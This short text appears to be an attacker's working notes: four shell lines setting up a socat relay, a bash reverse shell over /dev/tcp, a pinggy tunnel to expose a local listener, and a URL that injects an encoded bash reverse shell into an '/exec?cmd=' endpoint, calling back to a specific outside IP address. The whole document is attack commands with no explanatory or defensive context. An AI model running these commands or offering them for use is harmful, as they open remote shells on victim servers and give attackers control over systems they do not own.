socat TCP-LISTEN:4444,fork TCP:127.0.0.1:44361
bash -i >& /dev/tcp/x.x.x.x/46629 0>&1
./pinggy -p 4433 -R0:localhost:4433 tcp@free.pinggy.io
http://x.x.x.x:3001/exec?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/139.162.14.64/44361%200%3E%261%22